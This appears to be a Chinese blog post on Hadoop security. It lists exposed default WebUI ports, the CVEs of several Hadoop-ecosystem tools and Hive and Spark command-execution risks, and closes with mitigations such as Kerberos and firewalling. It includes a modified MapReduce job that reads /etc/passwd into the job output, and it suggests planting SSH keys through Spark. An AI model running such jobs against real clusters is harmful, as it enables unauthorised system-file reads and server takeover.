天天看点

Hadoop安全配置参考0x00 Hadoop简介:0x01 第一:WebUI敏感信息泄漏:0x02 MapReduce代码执行漏洞0x03 Hadoop的第三方插件安全漏洞0x04 安全解决方案

0x00 Hadoop简介:

Hadoop是一个由Apache基金会所开发的一个开源 高可靠 可扩展的分布式计算框架。Hadoop的框架最核心的设计就是:HDFS和MapReduce。

HDFS为海量的数据提供了存储,MapReduce则为海量的数据提供了计算。

HDFS是Google File System(GFS)的开源实现。

MapReduce是一种编程模型,用于大规模数据集(大于1TB)的并行运算。

总的来说Hadoop安全问题涉及三个方面:

0x01 第一:WebUI敏感信息泄漏:

Hadoop默认情况开放了很多端口提供WebUI,下面这些多多少少都会泄漏一些信息,但是总的来说在内网还好吧。

一、HDFS

   1.NameNode 默认端口                    50070

   2.SecondNameNode 默认端口        50090

   3.DataNode 默认端口                       50075

4.Backup/Checkpoint node 默认端口  50105

二、MapReduce

   1.JobTracker 默认端口    50030

   2.TaskTracker 默认端口   50060

端口探测,扫描HDFS和MapReduce的WebUI对应的服务端口

Hadoop安全配置参考0x00 Hadoop简介:0x01 第一:WebUI敏感信息泄漏:0x02 MapReduce代码执行漏洞0x03 Hadoop的第三方插件安全漏洞0x04 安全解决方案
Hadoop安全配置参考0x00 Hadoop简介:0x01 第一:WebUI敏感信息泄漏:0x02 MapReduce代码执行漏洞0x03 Hadoop的第三方插件安全漏洞0x04 安全解决方案

NameNode WebUI管理界面

通过NameNode节点管理HDFS

Hadoop安全配置参考0x00 Hadoop简介:0x01 第一:WebUI敏感信息泄漏:0x02 MapReduce代码执行漏洞0x03 Hadoop的第三方插件安全漏洞0x04 安全解决方案

其中比较重要的是DataNode 默认端口50075开放的话,攻击者可以通过hdsf提供的restful api对hdfs存储数据进行操作。

restful api参考:http://hadoop.apache.org/docs/r1.0.4/webhdfs.html

Hadoop安全配置参考0x00 Hadoop简介:0x01 第一:WebUI敏感信息泄漏:0x02 MapReduce代码执行漏洞0x03 Hadoop的第三方插件安全漏洞0x04 安全解决方案

0x02 MapReduce代码执行漏洞

MapReduce demo:https://github.com/huahuiyang/yarn-demo

稍微改动了一下:

FileInputStream file = null;
BufferedReader reader = null;
InputStreamReader inputFileReader = null;
String content = "";
String tempString = null;
try {
   file = new FileInputStream("/etc/passwd");
   inputFileReader = new InputStreamReader(file, "utf-8");
   reader = new BufferedReader(inputFileReader);
   // 一次读入一行,直到读入null为文件结束
   while ((tempString = reader.readLine()) != null) {
      content += tempString;
   }
   reader.close();
} catch (IOException e) {
   e.printStackTrace();
} finally {
   if (reader != null) {
      try {
         reader.close();
      } catch (IOException e1) {
      }
   }
}
           
utput.collect(new Text(content), new IntWritable(1));
           

执行mapreduce任务:

➜  bin ./hadoop jar wordcount.jar com.yhh.mapreduce.wordcount.WordCount data.txt result

查看执行结果:

➜  bin cat result/part-00000 

Hadoop安全配置参考0x00 Hadoop简介:0x01 第一:WebUI敏感信息泄漏:0x02 MapReduce代码执行漏洞0x03 Hadoop的第三方插件安全漏洞0x04 安全解决方案

既然可以执行jar程序,执行系统命令还是很容易的,但是这个需要一个Hadoop的shell, 问题也不大。

0x03 Hadoop的第三方插件安全漏洞

Cloudera Manager  <=5.5

1、Cloudera Manager CVE-2016-4949 Information Disclosure Vulnerability

2、Template rename stored XSS (CVE-2016-4948)

     Kerberos wizard stored XSS (CVE-2016-4948)

     Host addition reflected XSS (CVE-2016-4948)

Cloudera HUE =< 3.9.0

1、Enumerating users with an unprivileged account (CVE-2016-4947)

2、Stored XSS (CVE-2016-4946)

3、Open redirect

Apache Ranger =< 0.5

1、Unauthenticated policy download

2、Authenticated SQL injection (CVE-2016-2174)

Apache Group Hadoop 2.6.x

1、Apache Hadoop MapReduce信息泄露漏洞(CVE-2015-1776)

Hive任意命令/代码执行漏洞

HQL可以通过transform自定义Hive使用的 Map/Reduce 脚本,从而调用shell/Python等语言,导致攻击者可以通过hive接口等相关操作方式直接获取服务器权限

漏洞往往是相似的,Spark 6066 7077端口也存在着类似的安全问题,默认情况下可以推送jar包执行,如果权限足够大可以实现植入ssh公钥,有兴趣的可以研究下,估计在内网可以搞到一些研发的机子。。。

0x04 安全解决方案

1、开启kerberos认证,参考:

http://hadoop.apache.org/docs/r2.7.3/hadoop-auth/Configuration.html

2、敏感页面以及目录最好也不要对普通用户开放,可nginx方向代理、iptables解决。(jmx/logs/cluster/status.jsp/)

3、hadoop集群单独部署 做好安全监控发现被攻击迹象及时高警

参考http://blog.cloudera.com/blog/2009/08/hadoop-default-ports-quick-reference/

推荐渗透脚本:https://github.com/0xwindows/VulScritp

继续阅读